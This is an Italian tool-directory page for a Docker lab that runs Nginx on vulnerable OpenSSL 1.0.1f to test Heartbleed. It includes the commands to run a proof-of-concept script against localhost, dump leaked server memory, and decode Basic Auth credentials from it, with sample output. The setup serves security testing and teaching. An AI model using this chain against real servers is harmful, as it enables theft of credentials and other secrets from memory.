Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Heartbleed_Dockerfile_with_Nginx — Dockerfile per testare lo sfruttamento di Heartbleed CVE-2014-0160. | Kitploit
Strumenti/GitHubGitHub/froyo75/heartbleed_dockerfile_with_nginx
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSicurezza WebPenetration TestingApprendimento e Formazione
GitHubfroyo75/heartbleed_dockerfile_with_nginx

Heartbleed_Dockerfile_with_Nginx

Dockerfile per testare lo sfruttamento di Heartbleed CVE-2014-0160.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
115 anni faNon ancora revisionato

Testare Heartbleed con Dockerfile Nginx

Questo repository contiene il Dockerfile di Nginx con la vulnerabile versione OpenSSL (1.0.1f) per testare la vulnerabilità CVE-2014-0160 Heartbleed.

Immagine base Docker

  • debian:latest

Installazione

  1. Installa Docker

    • Esempio con Debian: apt-get install -y docker
  2. Scarica l'immagine base debian dal pubblico Docker Hub Registry: docker pull debian:latest

  3. Costruisci l'immagine dal Dockerfile: docker build -t heartbleed_nginx_img .

Utilizzo

Avvia il container Heartbleed+Nginx

docker run -i -t -p 1500:443 heartbleed_nginx_img

Test della vulnerabilità Heartbleed (CVE-2014-0160) con il metodo di autenticazione HTTP Basic
  1. Scarica lo script Python Heartbleed-poc (Solo per scopi di test!). Questa è una versione modificata, originariamente di Jared Stafford [email protected]. Grazie a SensePost per questo.

  2. Apri due nuove schede nel tuo terminale corrente ed esegui:

    • Prima scheda (Generazione di x100 richieste GET usando HTTP Basic Auth con il comando curl):

      for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done

      HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...

    • Seconda scheda (Generando x100 richieste Heartbeat (-n 100) e scrivendo il memory dump nel file "dump.bin", quindi prelevando il risultato del campo "Authorization" dal memory dump e infine decodificando la stringa Base64 risultante in testo in chiaro ^^):

      python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo

      WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG

Scarica lo strumento